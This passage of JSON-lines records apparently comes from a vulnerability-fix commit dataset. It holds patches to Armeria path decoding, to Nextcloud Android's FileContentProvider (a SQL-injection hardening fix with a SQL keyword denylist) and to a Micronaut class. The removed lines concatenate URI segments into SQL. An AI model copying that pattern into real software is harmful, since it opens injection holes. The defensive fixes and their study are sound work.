hex.\n+ assertThat(decodeFunc.apply(\"/%C3%28\")).isEqualTo(\"/�(\"); // Invalid UTF-8 sequence\n+\n+ // %2F (/) must be decoded only for path parameters.\n+ if (isPathParam) {\n+ assertThat(decodeFunc.apply(\"/%2F\")).isEqualTo(\"//\");\n+ } else {\n+ assertThat(decodeFunc.apply(\"/%2F\")).isEqualTo(\"/%2F\");\n+ }\n }\n \n @Test", "sections": [{"section": "@@ -35,8 +35,11 @@\n import java.util.List;\n import java.util.Map;\n import java.util.function.BiConsumer;\n+import java.util.function.Function;\n \n import org.junit.jupiter.api.Test;\n+import org.junit.jupiter.params.ParameterizedTest;\n+import org.junit.jupiter.params.provider.CsvSource;\n \n import com.google.common.collect.ImmutableList;\n \n", "related": false}, {"section": "@@ -89,21 +92,36 @@ void testConcatPaths() throws Exception {\n assertThat(concatPaths(\"/a/\", \"?foo=bar\")).isEqualTo(\"/a/?foo=bar\");\n }\n \n- @Test\n- void testDecodePath() throws Exception {\n+ @ParameterizedTest\n+ @CsvSource({ \"true\", \"false\" })\n+ void testDecodePath(boolean isPathParam) throws Exception {\n+ final Function decodeFunc;\n+ if (isPathParam) {\n+ decodeFunc = ArmeriaHttpUtil::decodePathParam;\n+ } else {\n+ decodeFunc = ArmeriaHttpUtil::decodePath;\n+ }\n+\n // Fast path\n final String pathThatDoesNotNeedDecode = \"/foo_bar_baz\";\n- assertThat(decodePath(pathThatDoesNotNeedDecode)).isSameAs(pathThatDoesNotNeedDecode);\n+ assertThat(decodeFunc.apply(pathThatDoesNotNeedDecode)).isSameAs(pathThatDoesNotNeedDecode);\n \n // Slow path\n- assertThat(decodePath(\"/foo%20bar\\u007fbaz\")).isEqualTo(\"/foo bar\\u007fbaz\");\n- assertThat(decodePath(\"/%C2%A2\")).isEqualTo(\"/¢\"); // Valid UTF-8 sequence\n- assertThat(decodePath(\"/%20\\u0080\")).isEqualTo(\"/ �\"); // Unallowed character\n- assertThat(decodePath(\"/%\")).isEqualTo(\"/�\"); // No digit\n- assertThat(decodePath(\"/%1\")).isEqualTo(\"/�\"); // Only a single digit\n- assertThat(decodePath(\"/%G0\")).isEqualTo(\"/�\"); // First digit is not hex.\n- assertThat(decodePath(\"/%0G\")).isEqualTo(\"/�\"); // Second digit is not hex.\n- assertThat(decodePath(\"/%C3%28\")).isEqualTo(\"/�(\"); // Invalid UTF-8 sequence\n+ assertThat(decodeFunc.apply(\"/foo%20bar\\u007fbaz\")).isEqualTo(\"/foo bar\\u007fbaz\");\n+ assertThat(decodeFunc.apply(\"/%C2%A2\")).isEqualTo(\"/¢\"); // Valid UTF-8 sequence\n+ assertThat(decodeFunc.apply(\"/%20\\u0080\")).isEqualTo(\"/ �\"); // Unallowed character\n+ assertThat(decodeFunc.apply(\"/%\")).isEqualTo(\"/�\"); // No digit\n+ assertThat(decodeFunc.apply(\"/%1\")).isEqualTo(\"/�\"); // Only a single digit\n+ assertThat(decodeFunc.apply(\"/%G0\")).isEqualTo(\"/�\"); // First digit is not hex.\n+ assertThat(decodeFunc.apply(\"/%0G\")).isEqualTo(\"/�\"); // Second digit is not hex.\n+ assertThat(decodeFunc.apply(\"/%C3%28\")).isEqualTo(\"/�(\"); // Invalid UTF-8 sequence\n+\n+ // %2F (/) must be decoded only for path parameters.\n+ if (isPathParam) {\n+ assertThat(decodeFunc.apply(\"/%2F\")).isEqualTo(\"//\");\n+ } else {\n+ assertThat(decodeFunc.apply(\"/%2F\")).isEqualTo(\"/%2F\");\n+ }\n }\n \n @Test", "related": false}]} +{"owner": "nextcloud", "repo": "android", "language": "Java", "file_name": "src/main/java/com/owncloud/android/providers/FileContentProvider.java", "commit_id": "627caba60e69e223b0fc89c4cb18eaa76a95db95", "commit_message": "Merge pull request from GHSA-vjp2-f63v-w479\n\n[stable-3.18] Harden FileContentProvider for public Uri paths", "patch": "@@ -64,7 +64,11 @@\n import javax.inject.Inject;\n \n import androidx.annotation.NonNull;\n+import androidx.annotation.Nullable;\n+import androidx.annotation.VisibleForTesting;\n import dagger.android.AndroidInjection;\n+import third_parties.aosp.SQLiteTokenizer;\n+\n \n /**\n * The ContentProvider for the ownCloud App.\n@@ -125,6 +129,14 @@ private int delete(SQLiteDatabase db, Uri uri, String where, String... whereArgs\n return -1;\n }\n \n+ // verify where for public paths\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyWhere(where);\n+ }\n+\n int count;\n switch (mUriMatcher.match(uri)) {\n case SINGLE_FILE:\n@@ -169,7 +181,6 @@ private int delete(SQLiteDatabase db, Uri uri, String where, String... whereArgs\n \n private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {\n int count = 0;\n-\n Cursor children = query(uri, null, null, null, null);\n if (children != null) {\n if (children.moveToFirst()) {\n@@ -194,9 +205,7 @@ private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String...\n }\n \n if (uri.getPathSegments().size() > MINIMUM_PATH_SEGMENTS_SIZE) {\n- count += db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n- ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1)\n- + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), whereArgs);\n+ count += deleteWithuri(db, uri, where, whereArgs);\n }\n \n return count;\n@@ -215,9 +224,7 @@ private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String...\n if (remoteId == null) {\n return 0;\n } else {\n- count = db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n- ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1)\n- + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), whereArgs);\n+ count = deleteWithuri(db, uri, where, whereArgs);\n }\n } catch (Exception e) {\n Log_OC.d(TAG, \"DB-Error removing file!\", e);\n@@ -230,6 +237,13 @@ private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String...\n return count;\n }\n \n+ private int deleteWithuri(SQLiteDatabase db, Uri uri, String where, String[] whereArgs) {\n+ final String[] argsWithUri = VerificationUtils.prependUriFirstSegmentToSelectionArgs(whereArgs, uri);\n+ return db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n+ ProviderTableMeta._ID + \"=?\"\n+ + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), argsWithUri);\n+ }\n+\n @Override\n public String getType(@NonNull Uri uri) {\n switch (mUriMatcher.match(uri)) {\n@@ -262,6 +276,16 @@ public Uri insert(@NonNull Uri uri, ContentValues values) {\n }\n \n private Uri insert(SQLiteDatabase db, Uri uri, ContentValues values) {\n+ // verify only for those requests that are not internal (files table)\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyColumns(values);\n+ break;\n+ }\n+\n+\n switch (mUriMatcher.match(uri)) {\n case ROOT_DIRECTORY:\n case SINGLE_FILE:\n@@ -483,81 +507,66 @@ public Cursor query(@NonNull Uri uri, String[] projection, String selection, Str\n return result;\n }\n \n- private Cursor query(SQLiteDatabase db, Uri uri, String[] projectionArray, String selection, String[] selectionArgs,\n+ private Cursor query(SQLiteDatabase db,\n+ Uri uri,\n+ String[] projectionArray,\n+ String selection,\n+ String[] selectionArgs,\n String sortOrder) {\n \n+ // verify only for those requests that are not internal\n+ final int uriMatch = mUriMatcher.match(uri);\n+\n SQLiteQueryBuilder sqlQuery = new SQLiteQueryBuilder();\n \n- sqlQuery.setTables(ProviderTableMeta.FILE_TABLE_NAME);\n \n- switch (mUriMatcher.match(uri)) {\n+ switch (uriMatch) {\n case ROOT_DIRECTORY:\n- break;\n case DIRECTORY:\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta.FILE_PARENT + \"=\" + uri.getPathSegments().get(1));\n- }\n- break;\n case SINGLE_FILE:\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n+ VerificationUtils.verifyWhere(selection); // prevent injection in public paths\n+ sqlQuery.setTables(ProviderTableMeta.FILE_TABLE_NAME);\n break;\n case SHARES:\n sqlQuery.setTables(ProviderTableMeta.OCSHARES_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case CAPABILITIES:\n sqlQuery.setTables(ProviderTableMeta.CAPABILITIES_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case UPLOADS:\n sqlQuery.setTables(ProviderTableMeta.UPLOADS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case SYNCED_FOLDERS:\n sqlQuery.setTables(ProviderTableMeta.SYNCED_FOLDERS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case EXTERNAL_LINKS:\n sqlQuery.setTables(ProviderTableMeta.EXTERNAL_LINKS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case ARBITRARY_DATA:\n sqlQuery.setTables(ProviderTableMeta.ARBITRARY_DATA_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case VIRTUAL:\n sqlQuery.setTables(ProviderTableMeta.VIRTUAL_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case FILESYSTEM:\n sqlQuery.setTables(ProviderTableMeta.FILESYSTEM_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n default:\n throw new IllegalArgumentException(\"Unknown uri id: \" + uri);\n }\n \n+\n+ // add ID to arguments if Uri has more than one segment\n+ if (uriMatch != ROOT_DIRECTORY && uri.getPathSegments().size() > SINGLE_PATH_SEGMENT ) {\n+ String idColumn = uriMatch == DIRECTORY ? ProviderTableMeta.FILE_PARENT : ProviderTableMeta._ID;\n+ sqlQuery.appendWhere(idColumn + \"=?\");\n+ selectionArgs = VerificationUtils.prependUriFirstSegmentToSelectionArgs(selectionArgs, uri);\n+ }\n+\n+\n String order;\n if (TextUtils.isEmpty(sortOrder)) {\n- switch (mUriMatcher.match(uri)) {\n+ switch (uriMatch) {\n case SHARES:\n order = ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER;\n break;\n@@ -587,15 +596,18 @@ private Cursor query(SQLiteDatabase db, Uri uri, String[] projectionArray, Strin\n break;\n }\n } else {\n+ if (uriMatch == ROOT_DIRECTORY || uriMatch == SINGLE_FILE || uriMatch == DIRECTORY) {\n+ VerificationUtils.verifySortOrder(sortOrder);\n+ }\n order = sortOrder;\n }\n \n // DB case_sensitive\n db.execSQL(\"PRAGMA case_sensitive_like = true\");\n \n // only file list is accessible via content provider, so only this has to be protected with projectionMap\n- if ((mUriMatcher.match(uri) == ROOT_DIRECTORY || mUriMatcher.match(uri) == SINGLE_FILE ||\n- mUriMatcher.match(uri) == DIRECTORY) && projectionArray != null) {\n+ if ((uriMatch == ROOT_DIRECTORY || uriMatch == SINGLE_FILE ||\n+ uriMatch == DIRECTORY) && projectionArray != null) {\n HashMap projectionMap = new HashMap<>();\n \n for (String projection : ProviderTableMeta.FILE_ALL_COLUMNS) {\n@@ -637,6 +649,15 @@ public int update(@NonNull Uri uri, ContentValues values, String selection, Stri\n }\n \n private int update(SQLiteDatabase db, Uri uri, ContentValues values, String selection, String... selectionArgs) {\n+ // verify contentValues and selection for public paths to prevent injection\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyColumns(values);\n+ VerificationUtils.verifyWhere(selection);\n+ }\n+\n switch (mUriMatcher.match(uri)) {\n case DIRECTORY:\n return 0;\n@@ -1034,6 +1055,106 @@ private boolean isCallerNotAllowed(Uri uri) {\n }\n }\n \n+\n+ static class VerificationUtils {\n+\n+ private static boolean isValidColumnName(@NonNull String columnName) {\n+ return ProviderTableMeta.FILE_ALL_COLUMNS.contains(columnName);\n+ }\n+\n+ @VisibleForTesting\n+ public static void verifyColumns(@Nullable ContentValues contentValues) {\n+ if (contentValues == null || contentValues.keySet().size() == 0) {\n+ return;\n+ }\n+\n+ for (String name : contentValues.keySet()) {\n+ verifyColumnName(name);\n+ }\n+ }\n+\n+ @VisibleForTesting\n+ public static void verifyColumnName(@NonNull String columnName) {\n+ if (!isValidColumnName(columnName)) {\n+ throw new IllegalArgumentException(String.format(\"Column name \\\"%s\\\" is not allowed\", columnName));\n+ }\n+ }\n+\n+ public static String[] prependUriFirstSegmentToSelectionArgs(@Nullable final String[] originalArgs, final Uri uri) {\n+ String[] args;\n+ if (originalArgs == null) {\n+ args = new String[1];\n+ } else {\n+ args = new String[originalArgs.length + 1];\n+ System.arraycopy(originalArgs, 0, args, 1, originalArgs.length);\n+ }\n+ args[0] = uri.getPathSegments().get(1);\n+ return args;\n+ }\n+\n+ public static void verifySortOrder(@Nullable String sortOrder) {\n+ if (sortOrder == null) {\n+ return;\n+ }\n+ SQLiteTokenizer.tokenize(sortOrder, SQLiteTokenizer.OPTION_NONE, VerificationUtils::verifySortToken);\n+ }\n+\n+ private static void verifySortToken(String token){\n+ // accept empty tokens and valid column names\n+ if (TextUtils.isEmpty(token) || isValidColumnName(token)) {\n+ return;\n+ }\n+ // accept only a small subset of keywords\n+ if(SQLiteTokenizer.isKeyword(token)){\n+ switch (token.toUpperCase(Locale.ROOT)) {\n+ case \"ASC\":\n+ case \"DESC\":\n+ case \"COLLATE\":\n+ case \"NOCASE\":\n+ return;\n+ }\n+ }\n+ // if none of the above, invalid token\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ }\n+\n+ public static void verifyWhere(@Nullable String where) {\n+ if (where == null) {\n+ return;\n+ }\n+ SQLiteTokenizer.tokenize(where, SQLiteTokenizer.OPTION_NONE, VerificationUtils::verifyWhereToken);\n+ }\n+\n+ private static void verifyWhereToken(String token) {\n+ // allow empty, valid column names, functions (min,max,count) and types\n+ if (TextUtils.isEmpty(token) || isValidColumnName(token)\n+ || SQLiteTokenizer.isFunction(token) || SQLiteTokenizer.isType(token)) {\n+ return;\n+ }\n+\n+ // Disallow dangerous keywords, allow others\n+ if (SQLiteTokenizer.isKeyword(token)) {\n+ switch (token.toUpperCase(Locale.ROOT)) {\n+ case \"SELECT\":\n+ case \"FROM\":\n+ case \"WHERE\":\n+ case \"GROUP\":\n+ case \"HAVING\":\n+ case \"WINDOW\":\n+ case \"VALUES\":\n+ case \"ORDER\":\n+ case \"LIMIT\":\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ default:\n+ return;\n+ }\n+ }\n+\n+ // if none of the above: invalid token\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ }\n+ }\n+\n class DataBaseHelper extends SQLiteOpenHelper {\n DataBaseHelper(Context context) {\n super(context, ProviderMeta.DB_NAME, null, ProviderMeta.DB_VERSION);", "sections": [{"section": "@@ -64,7 +64,11 @@\n import javax.inject.Inject;\n \n import androidx.annotation.NonNull;\n+import androidx.annotation.Nullable;\n+import androidx.annotation.VisibleForTesting;\n import dagger.android.AndroidInjection;\n+import third_parties.aosp.SQLiteTokenizer;\n+\n \n /**\n * The ContentProvider for the ownCloud App.\n", "related": false}, {"section": "@@ -125,6 +129,14 @@ private int delete(SQLiteDatabase db, Uri uri, String where, String... whereArgs\n return -1;\n }\n \n+ // verify where for public paths\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyWhere(where);\n+ }\n+\n int count;\n switch (mUriMatcher.match(uri)) {\n case SINGLE_FILE:\n", "related": false}, {"section": "@@ -169,7 +181,6 @@ private int delete(SQLiteDatabase db, Uri uri, String where, String... whereArgs\n \n private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {\n int count = 0;\n-\n Cursor children = query(uri, null, null, null, null);\n if (children != null) {\n if (children.moveToFirst()) {\n", "related": false}, {"section": "@@ -194,9 +205,7 @@ private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String...\n }\n \n if (uri.getPathSegments().size() > MINIMUM_PATH_SEGMENTS_SIZE) {\n- count += db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n- ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1)\n- + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), whereArgs);\n+ count += deleteWithuri(db, uri, where, whereArgs);\n }\n \n return count;\n", "related": false}, {"section": "@@ -215,9 +224,7 @@ private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String...\n if (remoteId == null) {\n return 0;\n } else {\n- count = db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n- ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1)\n- + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), whereArgs);\n+ count = deleteWithuri(db, uri, where, whereArgs);\n }\n } catch (Exception e) {\n Log_OC.d(TAG, \"DB-Error removing file!\", e);\n", "related": false}, {"section": "@@ -230,6 +237,13 @@ private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String...\n return count;\n }\n \n+ private int deleteWithuri(SQLiteDatabase db, Uri uri, String where, String[] whereArgs) {\n+ final String[] argsWithUri = VerificationUtils.prependUriFirstSegmentToSelectionArgs(whereArgs, uri);\n+ return db.delete(ProviderTableMeta.FILE_TABLE_NAME,\n+ ProviderTableMeta._ID + \"=?\"\n+ + (!TextUtils.isEmpty(where) ? \" AND (\" + where + \")\" : \"\"), argsWithUri);\n+ }\n+\n @Override\n public String getType(@NonNull Uri uri) {\n switch (mUriMatcher.match(uri)) {\n", "related": false}, {"section": "@@ -262,6 +276,16 @@ public Uri insert(@NonNull Uri uri, ContentValues values) {\n }\n \n private Uri insert(SQLiteDatabase db, Uri uri, ContentValues values) {\n+ // verify only for those requests that are not internal (files table)\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyColumns(values);\n+ break;\n+ }\n+\n+\n switch (mUriMatcher.match(uri)) {\n case ROOT_DIRECTORY:\n case SINGLE_FILE:\n", "related": false}, {"section": "@@ -483,81 +507,66 @@ public Cursor query(@NonNull Uri uri, String[] projection, String selection, Str\n return result;\n }\n \n- private Cursor query(SQLiteDatabase db, Uri uri, String[] projectionArray, String selection, String[] selectionArgs,\n+ private Cursor query(SQLiteDatabase db,\n+ Uri uri,\n+ String[] projectionArray,\n+ String selection,\n+ String[] selectionArgs,\n String sortOrder) {\n \n+ // verify only for those requests that are not internal\n+ final int uriMatch = mUriMatcher.match(uri);\n+\n SQLiteQueryBuilder sqlQuery = new SQLiteQueryBuilder();\n \n- sqlQuery.setTables(ProviderTableMeta.FILE_TABLE_NAME);\n \n- switch (mUriMatcher.match(uri)) {\n+ switch (uriMatch) {\n case ROOT_DIRECTORY:\n- break;\n case DIRECTORY:\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta.FILE_PARENT + \"=\" + uri.getPathSegments().get(1));\n- }\n- break;\n case SINGLE_FILE:\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n+ VerificationUtils.verifyWhere(selection); // prevent injection in public paths\n+ sqlQuery.setTables(ProviderTableMeta.FILE_TABLE_NAME);\n break;\n case SHARES:\n sqlQuery.setTables(ProviderTableMeta.OCSHARES_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case CAPABILITIES:\n sqlQuery.setTables(ProviderTableMeta.CAPABILITIES_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case UPLOADS:\n sqlQuery.setTables(ProviderTableMeta.UPLOADS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case SYNCED_FOLDERS:\n sqlQuery.setTables(ProviderTableMeta.SYNCED_FOLDERS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case EXTERNAL_LINKS:\n sqlQuery.setTables(ProviderTableMeta.EXTERNAL_LINKS_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case ARBITRARY_DATA:\n sqlQuery.setTables(ProviderTableMeta.ARBITRARY_DATA_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case VIRTUAL:\n sqlQuery.setTables(ProviderTableMeta.VIRTUAL_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n case FILESYSTEM:\n sqlQuery.setTables(ProviderTableMeta.FILESYSTEM_TABLE_NAME);\n- if (uri.getPathSegments().size() > SINGLE_PATH_SEGMENT) {\n- sqlQuery.appendWhere(ProviderTableMeta._ID + \"=\" + uri.getPathSegments().get(1));\n- }\n break;\n default:\n throw new IllegalArgumentException(\"Unknown uri id: \" + uri);\n }\n \n+\n+ // add ID to arguments if Uri has more than one segment\n+ if (uriMatch != ROOT_DIRECTORY && uri.getPathSegments().size() > SINGLE_PATH_SEGMENT ) {\n+ String idColumn = uriMatch == DIRECTORY ? ProviderTableMeta.FILE_PARENT : ProviderTableMeta._ID;\n+ sqlQuery.appendWhere(idColumn + \"=?\");\n+ selectionArgs = VerificationUtils.prependUriFirstSegmentToSelectionArgs(selectionArgs, uri);\n+ }\n+\n+\n String order;\n if (TextUtils.isEmpty(sortOrder)) {\n- switch (mUriMatcher.match(uri)) {\n+ switch (uriMatch) {\n case SHARES:\n order = ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER;\n break;\n", "related": false}, {"section": "@@ -587,15 +596,18 @@ private Cursor query(SQLiteDatabase db, Uri uri, String[] projectionArray, Strin\n break;\n }\n } else {\n+ if (uriMatch == ROOT_DIRECTORY || uriMatch == SINGLE_FILE || uriMatch == DIRECTORY) {\n+ VerificationUtils.verifySortOrder(sortOrder);\n+ }\n order = sortOrder;\n }\n \n // DB case_sensitive\n db.execSQL(\"PRAGMA case_sensitive_like = true\");\n \n // only file list is accessible via content provider, so only this has to be protected with projectionMap\n- if ((mUriMatcher.match(uri) == ROOT_DIRECTORY || mUriMatcher.match(uri) == SINGLE_FILE ||\n- mUriMatcher.match(uri) == DIRECTORY) && projectionArray != null) {\n+ if ((uriMatch == ROOT_DIRECTORY || uriMatch == SINGLE_FILE ||\n+ uriMatch == DIRECTORY) && projectionArray != null) {\n HashMap projectionMap = new HashMap<>();\n \n for (String projection : ProviderTableMeta.FILE_ALL_COLUMNS) {\n", "related": false}, {"section": "@@ -637,6 +649,15 @@ public int update(@NonNull Uri uri, ContentValues values, String selection, Stri\n }\n \n private int update(SQLiteDatabase db, Uri uri, ContentValues values, String selection, String... selectionArgs) {\n+ // verify contentValues and selection for public paths to prevent injection\n+ switch (mUriMatcher.match(uri)) {\n+ case ROOT_DIRECTORY:\n+ case SINGLE_FILE:\n+ case DIRECTORY:\n+ VerificationUtils.verifyColumns(values);\n+ VerificationUtils.verifyWhere(selection);\n+ }\n+\n switch (mUriMatcher.match(uri)) {\n case DIRECTORY:\n return 0;\n", "related": false}, {"section": "@@ -1034,6 +1055,106 @@ private boolean isCallerNotAllowed(Uri uri) {\n }\n }\n \n+\n+ static class VerificationUtils {\n+\n+ private static boolean isValidColumnName(@NonNull String columnName) {\n+ return ProviderTableMeta.FILE_ALL_COLUMNS.contains(columnName);\n+ }\n+\n+ @VisibleForTesting\n+ public static void verifyColumns(@Nullable ContentValues contentValues) {\n+ if (contentValues == null || contentValues.keySet().size() == 0) {\n+ return;\n+ }\n+\n+ for (String name : contentValues.keySet()) {\n+ verifyColumnName(name);\n+ }\n+ }\n+\n+ @VisibleForTesting\n+ public static void verifyColumnName(@NonNull String columnName) {\n+ if (!isValidColumnName(columnName)) {\n+ throw new IllegalArgumentException(String.format(\"Column name \\\"%s\\\" is not allowed\", columnName));\n+ }\n+ }\n+\n+ public static String[] prependUriFirstSegmentToSelectionArgs(@Nullable final String[] originalArgs, final Uri uri) {\n+ String[] args;\n+ if (originalArgs == null) {\n+ args = new String[1];\n+ } else {\n+ args = new String[originalArgs.length + 1];\n+ System.arraycopy(originalArgs, 0, args, 1, originalArgs.length);\n+ }\n+ args[0] = uri.getPathSegments().get(1);\n+ return args;\n+ }\n+\n+ public static void verifySortOrder(@Nullable String sortOrder) {\n+ if (sortOrder == null) {\n+ return;\n+ }\n+ SQLiteTokenizer.tokenize(sortOrder, SQLiteTokenizer.OPTION_NONE, VerificationUtils::verifySortToken);\n+ }\n+\n+ private static void verifySortToken(String token){\n+ // accept empty tokens and valid column names\n+ if (TextUtils.isEmpty(token) || isValidColumnName(token)) {\n+ return;\n+ }\n+ // accept only a small subset of keywords\n+ if(SQLiteTokenizer.isKeyword(token)){\n+ switch (token.toUpperCase(Locale.ROOT)) {\n+ case \"ASC\":\n+ case \"DESC\":\n+ case \"COLLATE\":\n+ case \"NOCASE\":\n+ return;\n+ }\n+ }\n+ // if none of the above, invalid token\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ }\n+\n+ public static void verifyWhere(@Nullable String where) {\n+ if (where == null) {\n+ return;\n+ }\n+ SQLiteTokenizer.tokenize(where, SQLiteTokenizer.OPTION_NONE, VerificationUtils::verifyWhereToken);\n+ }\n+\n+ private static void verifyWhereToken(String token) {\n+ // allow empty, valid column names, functions (min,max,count) and types\n+ if (TextUtils.isEmpty(token) || isValidColumnName(token)\n+ || SQLiteTokenizer.isFunction(token) || SQLiteTokenizer.isType(token)) {\n+ return;\n+ }\n+\n+ // Disallow dangerous keywords, allow others\n+ if (SQLiteTokenizer.isKeyword(token)) {\n+ switch (token.toUpperCase(Locale.ROOT)) {\n+ case \"SELECT\":\n+ case \"FROM\":\n+ case \"WHERE\":\n+ case \"GROUP\":\n+ case \"HAVING\":\n+ case \"WINDOW\":\n+ case \"VALUES\":\n+ case \"ORDER\":\n+ case \"LIMIT\":\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ default:\n+ return;\n+ }\n+ }\n+\n+ // if none of the above: invalid token\n+ throw new IllegalArgumentException(\"Invalid token \" + token);\n+ }\n+ }\n+\n class DataBaseHelper extends SQLiteOpenHelper {\n DataBaseHelper(Context context) {\n super(context, ProviderMeta.DB_NAME, null, ProviderMeta.DB_VERSION);", "related": false}]} +{"owner": "micronaut-projects", "repo": "micronaut-core", "language": "Java", "file_name": "http-client/src/main/java/io/micronaut/http/client/exceptions/HttpClientErrorDecoder.java", "commit_id": "b8ec32c311689667c69ae7d9f9c3b3a8abc96fe3", "commit_message": "Use ConversionContext constants where possible instead of class (#2356)\n\nChanges\r\n-------\r\n * Added ArgumentConversionContext constants in ConversionContext\r\n * Replaced Argument.of and use of argument classes with\r\nConversionContext constants where possible\r\n * Added getFirst method in ConvertibleMultiValues that accepts\r\nArgumentConversionContent parameter\r\n\r\nPartially addresses issue #2355", "patch": "@@ -71,7 +71,7 @@ default Argument getErrorType(MediaType mediaType) {\n } else if (mediaType.equals(MediaType.APPLICATION_VND_ERROR_TYPE)) {\n return Argument.of(VndError.class);\n } else {\n- return Argument.of(String.class);\n+ return Argument.STRING;\n }\n }\n }", "sections": [{"section": "@@ -71,7 +71,7 @@ default Argument getErrorType(MediaType mediaType) {\n } else if (mediaType.equals(MediaType.APPLICATION_VND_ERROR_TYPE)) {\n return Argument.of(VndError.class);\n } else {\n- return Argument.of(String.class);\n+ return Argument.STRING;\n }\n }\n }", "related": false}]} +{"owner": "micronaut-projects", "repo": "micronaut-core", "language": "Java", "file_name": 